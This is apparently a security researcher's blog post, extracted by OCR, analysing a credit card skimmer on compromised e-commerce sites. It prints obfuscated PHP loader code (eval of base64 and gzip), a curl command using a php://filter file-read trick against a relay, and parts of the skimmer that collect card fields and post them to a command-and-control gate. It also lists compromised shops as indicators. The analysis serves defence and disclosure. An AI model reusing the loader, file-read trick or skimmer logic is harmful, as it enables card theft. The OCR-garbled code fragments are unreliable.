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If you are a credit card holder, this post could be of your interest. Defending our financial
assets is always one of the top priorities in the cybersecurity community but, on the other
side of the coin, it is one of the most romantic attacks performed by cyber-criminals in order
to steal money. Today I'd like to share the analysis of a skimmer implant spotted in the wild.
So far | am not sure hundred percent that the discovered implant would be an evolution of
Magecart — since the activation scripts are quite different even if they do use Magento core
infrastructure. We might be facing a new Magecart version or a new framework as well for
my current understanding, notes suggestions are always welcomed.

Disclaimer

National law enforcement units have been alerted, few hours are gone after they gave me
the authorization to publish this POST. Please if you used your credit card in one of the
following eCommerce (loC section) consider your credit card as a no more private card: call
your bank and follows the deactivation steps. Since C2 and Relays are still up and running,
in order to avoid replication, the addresses have been obfuscated. | want to thank Daniele B.
for giving me the first “wired eCommerce”

Analysis

1/45


https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/
https://en.wikipedia.org/wiki/Web_skimming

Everything starts from a vulnerable eCommerce web-site. The user don’t feel anything weird
since she would normally get items into her web-chart, surfing from page to page watching
and selecting items and finally deciding to check them out by register a new account or just
as proceed as guest user. However the attacker could abuse the eCommerce vulnerabilities
introducing a nasty javascript sending out information (for example: Name, Address, eMail,
credit card number, cvv, expiration date, and so on) to another host, belonging to the cyber
criminal. The following picture shows the point.
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Fig1: External Connection Ioutside the eCommerce Perimeter

From Fig1 we see an alien connection (HTTP POST) to an external source:
https://***** Jcom/js/ar/ar2497.%5Dphp . This POST carries out a quite interesting
payload as partially (avoid info_leak) shown in the next code section.

touch=86f63747d33786T607e237f62656c6164786T6d656€236760662€65706265627d34313434313338%

The encrypted/encoded data lands to an external gate hosted on ***** . Jcom . Thisis a
slightly difference behavior if compared to the original Magecart which used to send data
directly in base64 format. Mykada looks like a legit eCommerce website that could be
compromised and used as a relay (one more difference from Magecart). A further
investigation on such a rely shows a magento core installation (this is a common indicator to
Magecart) which includes the js/index.php (ref: https://github.com/integer -
net/GermanStoreConfig/blob/master/src/js/index.php ) providing a nice tool to
dynamically building-up a composite javascript file for performance boosting and
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compression rates. By using such a public magento-core functionality and by guessing file
paths (looking for known public folders on the host would help you in guessing paths) we
might obtain the original malicious back-end file injected from the attacker.

curl http:]//*****.Jcom/js/index.php\?f\=php://filter/convert.base64-
encode/resource\=/home/****/public_html/js/ar/ar906.php

The result follows:

PD9waHAgQCm1mKG1lzc2VOKCRTROVUWYdOb3VjaCddKSKKIFIQTINUWYydOb3VjaCddPSRTROVUWYdOb3VjaCddOw

We are now facing an initial stage of obfuscated .php code. The following image (Fig2)
shows how the attacker obfuscated the first stage. You might appreciate the activation
variable “ touch ” which would activate the process in both flavors: GET and POST. Once
the activation variable is found a compressed and encoded payload is fitted into a multiple
variable concatenation chain and later executed ( eval ).
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length: 18428
lines: 1

Input Clear 'O ||| Reset layout

PD9waHAgCmLmKGLzc2VOKCRTROVUWYydBb3VjaCddKSkKIFIQT1NUWydeb3VjaCddPSRTRAOVUWydOb3VjaCddOwoKZXZhbChn
enVuY29tcHI1lc3MoYmFzZTYOX2R1Y29kZSgnZUSXxTLd2dFRFMWY3LZFLMmpETWxNSEY zazAxQTNyd2RMd2hhQk9aVaVF1TXdt
0DBKaVd5eStLINXVnTkRwYUR1b1dLd2RwZDZtd] LoUjIZb0Z4UmxrbkULlbkxGeXNVeLZ1S2xwdCOWZSTuK2VIVFVNQ31lvcln)
am5uUFBmUGN6a3hUT j F4cFALVFp60SImdUxUckowYTBSMG1PYTd1cG94MSISTXZgMDg rdUSTNGIXYXphVm54VENXxelg50G91
WmZNbERFbzVhMmNMYEhKTnEWWXE1LUDBURNpLWMVLV2VIdF1KNDIrdjJhRE9SFZES1RETHbTdIeVV2LOMxQ1isvVFYX0GRLADZY
ZjhQ0eDY1ZGZUdj kvZEtNNz 1OVWI2bORoONW1KallzTEpIMGI4ZXY rcDdNblp2Nz0Q20ERNaFdvZ j JPalViVDIWTKNRTXNKSEdU
NTFrRGYwNUVHS1plQ3JSYURNMloyZWsyS2JPcGxDd 1A4Nj JOTWYicXNzUC9xUBU4RDVMNDILVm9ybj ZISUINVWx1iUHVINWEK
UkoxMG9DZHk3aXB6QURFeG11NjVOcVdhWUptdwIKS2hDemgrZESS5NmhIZHR2VjhkV1igvNetFTEU1059YeFglYjFXOHVVSHBg
Y290ZFNBcWg3V3F1cXIrZjJiK2pvNaVZaGZ4YWIuRXZVeFBjdTIEalpRcjIWWnVnS1]jdFZ@dHINV2IvNGShaWB2RXRmaVc2
RWhBaVk1blduUwWtwTzNkakVjanFpaGgvRzNZTES0OWZX0OVNibFdUZUIwU2U0YkQyNXZ1ick420TBaR2dgdDE2SHhiVTcyNk1L
cOVNM3RQVXFFTG5COTA4RHC 1IRWIMMWIRRLhHeDh WG LQbmRIQNB1M] krM30yMFVKSUo®cGIWRmMxWOWIsdWSJeDFTY®Y zWiM5
NHcOUKFsTUJYQXFmalBCcmglaVZzWkxwUmlrdELDQjdwb11lyOFBkSUtaQkV3cFcwSG1loTGNNREhMS2ZU3bGE4SD1pOHFEdXFS
Se8dPSFYyeTFrVzgzRDBmV110YTdmbw9xb1Rtb21QMURKZVh1UUpSSF14RmxiRGEydDAYRk11UU90al1xVm93aHRmaEVTY 1dN
Rnc4VXdLa®FiT3Z1UStwRWIlwTGdodTFaV2RvZTBOSFBrNEhrbk]jQVdjdmpEMDY5Q0Fha® LPTHAZN2s5SHFFQ2pnWKNCTEMW
akpLcEFLY®JrcGRNUj FRQUXLQ2F1YmFVeEIIK104Nj LNdWIwQ3RzWktoUk5ZRFAZKO56Y j dnRGxMdWS5 roVpaNkYsdwtvsXda
bGt1K1g4VnpvZ3FBUNhRSDNGOT LawFREMytJcXBwR3pJR2VXcEJyd1FCeGISWEM3VWRUSUTYVDCcvUzZNLL31zZUFNUbDRXcDFv
S8c3VwW9JeDAIRUd30VhSMIRFUTRVbzRkaELFQWc4d1IwY2FIR1IMSUXFSM]dSYWZIWi820Cs251AzLzhkd1gvbmNSOVh1R1BuU
akdtNjhsazB1Ty8vL2wzYz 1GQULEZzUvcHBPNitwcENPbLFYRZ LludmRKS3hodzA4UEUYOHNECcOxFMM1ISOxuMERFWkxgN1Fa
ZTR1LYU92RVYN6aESXRzdQNDAWVKQ25GdmdTVa0E95ZEtYd1VDbi9jU1IrMVFBMHFkeEO3bHEVUHCczazFtQ@xZU1B2aStBMDIr
ZUhVUlN]DGtFakJReUZWd]hOc1NGYBUXMGZGc25CRESWNUhDNUdvDXNGWEwwNBJGUORCaGQleRKZ21mSEdszpDYlMZZGNq
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<?php

if(isset($ GET['touch']))

§ POST['touch']=% GET['touch'];

evaldgzuncompressﬂbase64 decode| 'eNgNWvETE1f7/1e2jDM1lgHF3k01A3 rwdLwhaBOoUiQuMwm8eiWyy+e5ughDpabu
oWKwdpdémv9hR260FxR1LKknESnLFgsUrveKlpt/Ve+n+ecTUgCyosScinnPPTPCczkxTN1xpP5TZz9/ fuLTril@aelemDa7upox
1/RMvj@8+uNS4owWazaVnxTCqzX980bZfMIDE0S5a2cLTHANgOYgSPETFzKZeKWeHtYd42kv2aDOEdKSDKGM7 IyUv,/C1B+/TV1
8dKt6XT8Px65dTTv9/dKM79NUovoDh5m] jRsLIHEbxev+p7MnZv7468DMhWoT20jUbT2pNCQMs JHGTS1kDep5EGKZeC rRaDM
372ek2Kb0OplCwP862tMebgssP/qSEBD5T42eVorn6IIMMULbPUISkIRI100Cdy7ipzADExme65NgWaYImubJKhCzh+dNy6hH
dtvvBdvVX/7KELES9/XxX5b1W8uUHpjcohdSAgh7Wqugr+f2b+jo7EYhfxabnEvUxPcu2DjZQr2VZugJRctVityMWbodoalob
EtfiW6EhALYSoWnQkp03djEcjgihh/G3YLONITWISbLWTeBpSe4bD25vbrN690Z2Gg]j t16HxbU726IKsEg3tPUQELNBABBDWS
EilL10QFXGx8eXiPndIBpu29+3t20UJIJ4pbVFIVAoLunIx15cF3Z2394w4RAIMBXAqTKPBrh5iVsZLpRmktICB7VoY r8PdIKZ
BEwpWAHmhLcMDHTKe71a8H918qzuqyKGOHV2y1kW83DOTVYPa7fmoqoTmoiP1DdeXuQJRHYxF1bDa2t@2FMuQOPkYgVowht
hEScWMFwBUwKkAbOveQ+pEipLghulZWdoe®tHPk4HknBcAWCY jDO69CAaKIOLp37KI9HQECjgZCBLCOj JKpAKcBkpdgR1QALe
CaubaUxBH+T869MubOCtsZKhRNYDP&+Nzb7gD1Lunk9ZF6ElukoIwZ 1 ku+X8VzogqARXQH3z99ZXTZz3+I1qppGz1GeqpBrwlB
Xb9XCTUATIKXT7/S3K/ysPSn14WploKG7UoIxBSEGWAXR2TEQ4Uo4dhIEAg8VRAcalGS90qR27RatHZ/68+61P3/8dwX/nck
9XeFPnjGm681kOud/ //13cIFAIDYS5/pp06+ppCOnQXGonvdIKxtwO8PE285tsLE2mHKLNODEZL j 70Ze4ealvESzhNWG7P400
VDEHgTu5Z80ydKXwlCn/cSR+10A8qdxM7 g/ Pw3k1mCLYRPvi+AR2keXoRSCcCKEjBOyFVvBPsSzcEWOTFsnBDKOSXNSWo9sF
XLO7BNWDBhobVDIgmTHGSNINcS3dcjpsMWKYBAZWEegKQ,/VIrfdL+IT40MkeKSVyX4RPTLFIZs cqwolUW/ tBMwSAOKDSCYSIC
HItwSRwWIM/ XoGYKKCITATDEYywNbkSBxSy9Uc4R29uGI1ziQp4NHbvKY5QwvuO rBLL7HEhpBIMCOWS 1e7 fOVP7SRwe /3VUFYG

Fig2: Payload Stage 1

By following the reverse obfuscation order chain we will end-up in having the following code
(Fig3). This time the attacker used more obfuscation techniques: from charset differentiation,
junk code to spear random comments making quite hard the overall reading. But taking my
time, ordering every single line, substituting variables and encoding with my favorite charset |
was able to extract the decoding loop and to quickly understand the Payload behavior
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class _eeoE{private static$ e.edg/*Bloodninja: I lick your earlobe, and undo your watch.*/s
tatic function fele1(S eeeesn){if(!self::$ e.odF:self:: yeeseee();/*Sarah19fca: mmmm, okay
.*fendif;return bASE64_deCOdE(self::$_ww%'l]);},f*Bloodninja: I take yo pants off, g
runtina like a troll.*/private static function mneeeeee(){self::S e .etEhrrav(" eeeeee"=>"dG
11Y\062g\075","_je\xbbe"=>/*Sarah19fca: Yeah I like it rough. */"Q29udG\ 126\x75dC\x31\x55\ €
3XB\x6c\117\x69B0\x5aXh0L2hO\x62Ww7IGNoYX\x4a\x7aZ\x58Q9\ 144X\ x52\155\x4c\x54g="," _\321leses
'=>"Q\127NjZXNz\ 114\ 125N\ 166bnRyb2\x77tQlxs\x62\x33\143\164TW\1260\141G9\153cz\157\147U\ x45
,071\124\126CwgROVUL\x43BPU\106RITAST","_G\2456e\2166\x89e"=>"Q\ 127N\ x6aZXN\172LUNvbn\x52yt
062\ xT7TtQ\x57xsb3ct\x513\x4alZGVudG\x6ch\142HMETHRyd\127\125="," _¢ee ¢\304 6" =>"QWNIZXNzLL
ivb\156\122yb\062\x77tQWxs\1423ctT33\160\x5a21u0i\101q"," #e\327\xc2\230\xBdee"=>/*Bloodnin
ja: I smack you thick booty.*/"","\137\x84 :eeh\255"=>"1\121\075\x3d","\137eet\xca\xcaoe" "=>/
*Sarah19fca: Oh yeah, that feels good.*/"Jg=="," @&\253\x92\x81"=>"PQ=="," eeedlle"=>/*Blood
1inja: Smack, Smack, yeeeaahhh.*/""," Jig\334eee"=>"TW96aWxsYS81L\x6aAgKF\144pbm\x52v\144\06
3\ x4dgT1LQgNS\ 064\ 1700y \x42y\x64 3\ 157\ x7aM14\167KS\x42H\ 132\ 127Nrby8y\ 115\ 104Ey\ x4d\x44E\x77
\x4dSB\x47\x61\x58]1Zm94Lz\x4d\x79L\152A\x3d", "\ 137M300\x99¢"=>/*Bloodninja: I make some t
»ast and eat it off your ass. Land 0" Lakes butter all in your crack. Mmmm.*/"\144G9\061Y\E
20="," eeee\xb2\301\xd3"=>/*Sarah19fca: you like that?*/"aG9zdA\x3d\075"," eee\xblee"=>"bn
/t\131m\x56y"," eleR\xddee"=>/*Bloodninja: I peel some bananas.*/"ZXhw\x4dQ\x3d="," &¥\210)\
304" =>"ZXhwM\147=="," eee\254\xa6e\xdf\334e"=>"Y\x3372","\137¢\x8Beee"=>/*Sarah19fca: Oh, w
1at are you gonna do with those?*/"Zm\x6c\x79c\x33\122\165\131W1L"," \227\323eereee "=>"\142
JFzdG5\x68bWY125\875"," ee\xB9\xaS5eee\327"=>/*Bloodninja: get me peanuts. Peanuts from the
rallpark.*/"YWRkcmVzcw=\075"," \x81\177eeeef\xc2\x92"=>/*Sarah19fca: Peanuts?*/"Y21\x30eQ\E
75="," \311lee\223ef"=>"\1433R\150d\x47\x55\x3d","_e¢eesee\265¢"=>"em\154w"," ¢\261eee"=>"\13
\9629\x31hnRye ==","\137\333¢edi\x8b"=>"cC\x68v\x62mU="," _ee\xal" "=>"ZWlhahw=","_eeTe"=>"SF
WUF9VUBYSXOFH\122U5U" , " \x94\xb6e\210\xd3\313¢\312"=>/*Bloodninja: Ken Griffey Jr. Yeaaaac
thh.*/"T\x6eVtY\x6d\126y"," ¢\xabee\233Y"=>/*Sarah19fca: What are you talking about?*/"RG\E
T1EYWLAXT5"," e\310\31263"=>"Q1\132W"," ¢e\x87\273¢ee"=>/*Bloodninja: I'm spent, I jump dc
in into the alley and smoke a fatty. I throw rocks at the cats.*/"\122GF\x30Z\121\075=","\x
sTe\xadnM\3275"=>"L\x77==","_eee\213e"=>"\131\155\x6cs5\x62G\x6c\165Z\ 172\ x70maX\x4azdG5\x68k
\127\125=", "\x5feq\xb2\224¢\330"=>"Y\x6d1\x73b\ 107\ x6cuZ\x7a\x70sYXN\x30b\ 155\ 106tZQ=="," «
\246\262\xB4\223 "=>"5G9s\x5aCVy", "\ 137\ x99\ x85+¢¢\306"=>"1\101=\x3d","_\313+\xb5\xa7" ”—>}
*Sarah19fca: This is stupid.*/"Ymlsb\x471luZ\x7ap\x6cbWFpbA=="," ¢\x88e\321\325¢"=>"YmlsbGlu
\172pzdHI1\132\130\121x", "\x5f\x96\x8b\265Ie"=>"Y\155\x6c\ 163bGlu\132zpwb3NOY\x329k\ 132Q==
', " _eEee\231"=>"\131m\x73\142\x47uZz\x70yZ\127dpb2\x35\146alWQ=", "\x5fee\x93e\256"=>"Y\ 155
.s\142GluZzpjaXR5"," \266e\xdbee\211\177"=>/*Bloodninja: Stone Cold Steve Austin gives me s
ome beer.*/"YmlsbGl\165Z\172pjb3\x56udH\x4a\x35\x5821k","_[8§\xa8\304F"=>"YmlsbGluzZ\172p0\1
32\127x\154cG\150vbm\125\x3d"," Né\x8feee\x97ee"=>"\x61GFzaD0="," eeee\xbTee\xd1"=>"\112\x6
=\x56hPQ--“,“\x5fa¢o\262 3 "=>"Iml\167PQ==","_eeeeee"=>"Uk\x56N\x54\061RF\x580\x46ERF\x49=",
' eooe\xddee"=>"aHROC\ x48M6Ly9tY\x57d1c\06291cmN\ 154114\ 156N1L2dhd G\ x55v\ x63H\x4aveHk=","
v\ 3376\ xBage"=>"dmFy\111GpzX\ 062\ x46yPQ\x3d="," \2273\326e+\310Q\306"=>/*Bloodninja: Wanna
Wrestle Stone Cold?*/"0\x77=\075",);}}if(isset/*Bloodninja: Yeeaahhhh.*/($ POST[ eeeE:: fe
Jo1("\x5fe\205¢69¢" ) ]) ) :HEADEr (_eeeE: :_feler1("_j(»"));heaDER(_eeeE::_felUer("_weee"));hEADeR
_eeef::_feler1("_e\xal\xaSe\xc2eee\xb0")) ;hEadER(_eee: :_feler1("\1376¢\243¢ ee"¢")); /*Sarahl
ifca: [ignore*/function _des(S_eeI){S_seueelt=_seet:: feler("\137\212ee[i#es"); for(5_snkees
1 =(076+-0162-01012/*Bloodninja: Its cool stone cold she was a bitch anyway.*/- -01076);/*Bl
Jodnln]a We get on harleys and ride into the sunset.*/$ enkeeen<sTrien($ eel);/*
»nkeeon+=-0512/*Bloodninja: Wanna cyber?*/+-0570/*DirtyKate: K, but don't tell anybody ; )*
/- -0243+01041):5_ee300e=SUBsTr(5_eel,5_enkeee,, -0136/*DirtyKate: Who are you?*/- -0137);%
oro_—suBsTr($ @U»I 5 enko¢om+(1nt)r0uND(@ 33333333333333+0 33333333333333!*Bloodn1nja I'v
-0 Ty,

Fig3: Payload Stage 3

Indeed, once the script decodes the received payload (by rotating on charsets with hard-

coded strings) from the compromised eCommerce (Fig3 decodes touch variable content),

every stolen field is ordered into a crafted object and is sent to one more external host:
https:]//AAAN Tsu/gate/proxy . The following code section would help us to

understand the execution chain.




REMOTE_ADDRContent-Type: text/html; charset=utf-8Access-Control-Allow-Methods: POST,
GET, OPTIONSAccess-Control-Allow-Credentials: trueAccess-Control-Allow-0Origin:
*%&=Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101
Firefox/32.0touchhostnumberexplexp2cvvfirstnamelastnameaddresscitystatezipcountryphone

billing:emailbilling:streetlbilling:postcodebilling:region_idbilling:citybilling:count
js_ar=;

We actually have one more host that need to be analyzed. By taking a closer look to the
used domain, we might agree that it looks like the ending proxy gate which stores data on a
given database (mongodb). Again by enumerating and seeking inside its public information it
was actually possible to spot and to enumerate the used technology to store the new
malicious implant (docker compose to build up the infrastructure). By spotting a temporary
directory — used to store temporary files between the attacker infrastructure — | was able to
build up a simple monitoring script which revealed the most used compromised eCommerce.

Attack Magnitude

From the command and control host we might observe what is actually passing through it,
but we might have no idea about the overall magnitude of the infection chain since many
eCommerces could have a low selling rate (rate of customers during my monitoring phase).
In this case even if they are compromised, it is very hard to discover every compromised
eCommerce by using this technique: looking, converting and importing temporary files
generated every time a data leak happens (every time a user adds his credit card). So we
might ending up with another method. Fortunately the host reserved a PTR (Pointer Record)
to mo------- .]fvds].ru as shown on Fig4.
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ma SU

Submitted URL: http:/ma: su
Effective URL: https:/mag:
Submission: On February 16 via manual (February 16th 2020, 7:55:28 am) from

A Summary #HTTP 13 W Behaviour 4 loCs | & Similar (1434 DOM [ Content EEAPI

Summary

This website contacted 1 IPs in 1 countries across 1 domains to perform 19 HTTP

transactions.
The main IPis 37.46. located in Russian Federation and belongs to THEFIRST-AS, RU.

The main domain is mag SU.
TLS certificate: Issued by Sectigo RSA Domain Validation Secure ... on July 12th 201%. Valid for: a

year.

The main domain was scanned 62 times on urlscan.io Show Scans &z

1414 structurally similar pages on different IPs, domains and ASNs found

Verdict:

Domain & IP information
IP/ASNS IP Detail (Sub)Domains Domain Tree Links Certificates

20" pum37.46. (Russian Federation) 1 redirects = Lookup
ASN29182 (THEFIRST-AS, RU)

i

= Mag 5U Domain lookup -

Fig4: PTR on MAAMA gy
The new host ( mo------- ) definitely recall the magrrAaan . Tsu registered email address
(mo------ @protonmail.]com )in an unique way. BTW It is active since 2019-07!!
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~ whols mag: .SU
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain: MAG .SU
nserver: nsl.firstvds.ru.
nserver: nsZ.firstvds.ru.
state: REGISTERED, DELEGATED
person: Private Person
e-mail: Mo @protonmail.com
registrar: REGTIME-SU

created: 2019-07-05T13:10:05Z
paid-till: 2020-07-05T13:10:057
free-date: 2020-08-07

source: TCI

Last updated on 2020-02-16T08:41:317

registered eMail Address

According to URLSCAN, using the PTR record in order to understand how many known
websites have links pointingto mo--- - - .]fvds. Jru , you might find something quite
worrying (as shown in Fig6): more than 1400 potentially infected eCommerce. Now, / am not
saying that every single eCommerce in the list has been compromised, but taking randomly
3 of them (and reported in 10C section) | found the exact infection chain on each one. So
potentially every eCommerce on that list (so that points to the command and control) should
be checked.
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Search for domains, IPs, filenames, hashes, ASNs

domain:"mon

Search results (400 / 1457, sorted by date

()

URL
URL: 1 su
P37 - PTR: mo vids.ru - Server: Apache/2
GeolP: g RU - A529182 (THEFIRST-AS, RU)
n - Server: Apache

URL: ww
IP: 162.21
GeolP: ==

URL: hot
IP: 2606:4

GeolP: W= U5 - A

URL: ma
IP: 37 4

GeolP: g AU -
Fig6: Link on m
According to urlscan.io most of the websites pointing to momo
following geographic distribution (Fig7). Most of all are US based followed by RU, NL and IN.

- PTR: v
A529182 (THEFIRST-AS, RU)

656f - Server: ¢
335 (CLOUDFLARENET, US)

573 (LAYER-HOST, US)

52-215-249-87.un e
06 (UNIFIEDLAYER-AS-1, US)

udflare

fvds.]ru

ifiedlayer.com -

- Server; Apache/2

ds.ru”

Search! & Reload

Help & Exa

Submitted

5 minutes ago

Via: manua

8 hours ago
Via: ar

9 hours ago
Via: af

10 hours ago
Wia: ap

18 hours ago
Via: ap

1 day ago
Via: manua

Size & |IPs

653KB 1% 1

1MB 60 3

4MB 3
2MB 44 2
3MB 7

654KB 19 1

s.]ru respect the

While it's hard to say that it is a targeted attack against US eCommerce websites, stats
(Fig7) are surprisingly talkative.

eCommerce Location

COUNTRY

230

300

FREQUEMCY

Location of Possible Compromised eCommerce

loC

730

1000

Fig7:
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The following loC have been extracted from Command and Control as described in the
Analysis section. | do have evidences that those eCommerce send credit card numbers to
magesouce but | did not analysed every single eCommerce outside the “High Confidentially”,
which could be compromised using different infection chains. More potentially compromised
eCommerce site could be found, a nice unverified list (‘Low Confidentially”) follows.

High Confidentiality Compromised :

— (POST): https://*****/js/ar/ar2497.php

— Sha256 (ar2497.php):
7a04ef8ebabe72e3e21ba9da5e1ac99e4f9022fae19dc9c794d87ed4aadba1db4
— mom*****@protonmail.Jcom (email used to register c2)
— ——.]com (rely)

— https://AMANMAAA Tsu/gate/proxy (c2)

— mom***** Jfvds].ru (PTR)

— http://www.]startinglineproducts.]Jcom

— shop.sobelathome.]Jcom

— shop.princessluxurybed.]Jcom

— http://www.nclhome.Jcom

— http://www.shoprednose.]Jcom.]au

— http://www.plusmedical.]Jcom.]Jau

— http://www.selariadias.]Jcom.]br

— owners.clubwyndhamstore.Jcom

— http://www.assokappa.]it

— http://www.shogunlivraria.Jcom.]br

— http://www.broadtickets.]Jcom

— http://www.broadticket.Jcom

— http://www.siamflorist.]Jcom

— http://www.castmemberlinen.Jcom

— bumperworksonline.Jcom

— http://www.stixx.Jcom.]br

— http://www.worldmarkbywyndhamstore.]Jcom
— tknwthunderdome.]Jcom

— http://www.silknaturals.]Jcom

Low Confidentiality Compromised (more investigation is needed):
URL: https://mo—&#8212;.]fvds.]ru/

URL: http://hotelcathedrale.]be/

URL: https://magMAMAAA Tsu/

URL.: http://www.]americanlighter.Jcom/

URL: http://www.]turyagatea.]Jcom/

URL: http://www.]dysin.]Jcom/
URL: http://hotelcathedrale.]be/
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